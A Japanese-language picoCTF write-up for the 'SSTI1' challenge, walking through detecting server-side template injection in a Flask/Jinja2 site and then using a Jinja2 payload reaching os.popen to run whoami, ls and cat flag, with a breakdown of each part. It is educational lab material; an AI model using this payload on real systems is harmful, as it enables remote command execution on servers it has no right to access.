[writeup] picoCTF "SSTI1"

# 今回の問題
picoCTFより"SSTI1"を解いていきます。

# 実際に解いていく
### 1. 問題文にあるWebサイトに移動する
![SSTI1_1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945501/7d534dc9-4fe0-4865-a415-ab67fe427a27.png)
このWebサイトでは、何かアナウンスをすることができるみたいです。

### 2. 適当な文字を入力してみる
![SSTI1_2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945501/a76dcf7d-a591-40cb-a02b-3a50aa7ba358.png)
「help!」と入力して[OK]ボタンをクリックすると、画面に大きな文字で表示されました。
以上が、このWebサイトの機能のようです。

### 3. ソースコード確認
![SSTI1_３.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945501/24d665e5-1575-48c4-b3dd-6da23f4a10b9.png)
![SSTI1_４.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945501/960e4f51-d035-41ca-9475-0cb803b1fc00.png)
ソースコードを確認してみました。
今回はHTMLのみです。怪しいところも見つかりません。

### 4. SSTIを疑う
色々な文字のパターンを入力してみたり、BurpSuiteで通信内容を確認・変更しました。しかし、FLAGはどこにも見当たりません。

ここでタイトルに注目してみると、SSTIとあります。
そう、今回はSSTIを利用した問題なのです。

### 5. 本当にSSTIなのか？
それでは、実際にSSTIなのかを検証していきましょう
![SSTI1_5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945501/794788a2-a829-4485-817a-913163ca8f6a.png)
まず、Webサイトの入力欄に
```
{{7 * 7}}
```
を入力します。
そして[OK]ボタンをクリックします。
![SSTI1_6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945501/36682a5f-43e8-4c50-9c7a-03135a729cb9.png)
すると、画面には入力した文字 " {{7 * 7}} " ではなく、49 という数字が表示されました！
これにて、SSTIが確定しました。

### 6. SSTIを利用してFLAGを獲得する
![SSTI1_7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945501/aba53142-f8b2-4139-9cf4-16aa139b0d81.png)
Webサイトの入力欄に、
```
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(' whoami ').read() }}
```
を入力して、ユーザー名「root」を取得します。

![SSTI1_8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945501/ae3045d3-ee7d-4ffe-bd57-532a1ba7d3b1.png)
Webサイトの入力欄に
```
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(' ls ').read() }}
```
を入力して、ファイル一覧を取得します。
その中にflagファイルがありました！

![SSTI1_9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945501/80b5f4b8-b82f-4d3a-ad29-8a17ce6de4b2.png)
Webサイトの入力欄に
```
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(' cat flag ').read() }}
```
を入力して、flagファイルの中身を確認します。
そこにはFLAGが書かれていました！
これにてFLAG獲得です。お疲れ様でした。

# もう少し考えてみる
FLAGを獲得する途中で、以下の謎の文字を入力しました。
```
{{7 * 7}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(' whoami ').read() }}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(' ls ').read() }}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(' cat flag ').read() }}
```

これらは何だったのでしょうか。上から順に考えていきます。

- {{7 * 7}} とは？
テンプレートエンジンに " {{7 * 7}} " を入力して出力がどうなるかを確認します。この結果によって、今回の問題がSSTIかどうかが判別できます。
今回は、49 という数字が返ってきましたね。これは、テンプレートエンジンによって、7 x 7 = 49 という計算が行われたからです。
ちなみに、今回はFlaskのテンプレートエンジンのJinja2だったため " {{7 * 7}} " でしたが、他のテンプレートエンジンの場合は異なります。以下の画像を参考にしてください。
![Template Engine.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945501/9e5c18dc-700a-4287-965a-8e0577f61524.png)
引用：https://portswigger.net/web-security/server-side-template-injection
　
- {{self. _ TemplateReference __ context.cycler.__ init __ . __ globals __ .os.popen(' whoami ').read() }} とは？
これはPythonの内部構造を使ってOSコマンドを実行するためのコードです。
それぞれを分けて見ていくと、
・self. _ TemplateReference __ context: テンプレートの内部コンテキスト情報
・cycler: Jinja2内で使われているオブジェクト
・cycler.init. __ globals __ : Pythonの関数オブジェクトには .func _ globals（または __ globals __）という属性があり、グローバルなオブジェクト（モジュールなど）にアクセスする
・.os.popen('whoami'): os モジュールの popen 関数でシェルコマンドを実行する
・whoami: 今のユーザー名を出力する
・.read(): 実行結果を読み取る
というようになります。
これによって、まずは現在のユーザー名「root」を確認しました。
　
- {{self. _ TemplateReference __ context.cycler. __ init __ . __ globals __ .os.popen(' ls ').read() }} とは？
上と同じ構造で、今回はwhoamiコマンドではなく、lsコマンドを実行しました。
これによって、ファイル一覧を表示しました。
　
- {{self. _ TemplateReference __ context.cycler. __ init __ . __ globals __ .os.popen(' cat flag ').read() }} とは？
上と同じ構造で、今回は、catコマンドを実行しました
これによって、「flag」ファイルの中身を表示しました。

# まとめ
今回の問題は、SSTIを利用してFLAGを獲得しました。
具体的には、
- Flask + Jinja2 の脆弱性（SSTI）を突いてサーバーにコマンドを実行させる
- __ globals __ を使ってPython内部の機能をたどり、os.popen() で任意コマンドを実行

本来はこうした内部の構造が出力してはいけませんが、テンプレートに直接文字列を評価させることで「裏口」のように利用してFLAGを獲得することができました。

# 補足
・SSTIとは？
→Server-Side Template Injectionの略。テンプレートエンジンにユーザー入力が直接渡され、サーバー側でそのまま実行されてしまう脆弱性のこと

# 参考
・[picoCTF Web Exploitation: SSTI1](https://medium.com/@Kamal_S/picoctf-web-exploitation-ssti1-e2363b1885a0)
・[サーバサイド・テンプレート注入 - SSTI脆弱性](https://www.wallarm.com/jp/what/server-side-template-injection-ssti-vulnerability)
・[サーバーサイド・テンプレート・インジェクション（SSTI）とは？](https://www.securify.jp/blog/server-side-template-injection/)
・[サーバーサイドテンプレートインジェクション](https://portswigger.net/web-security/server-side-template-injection)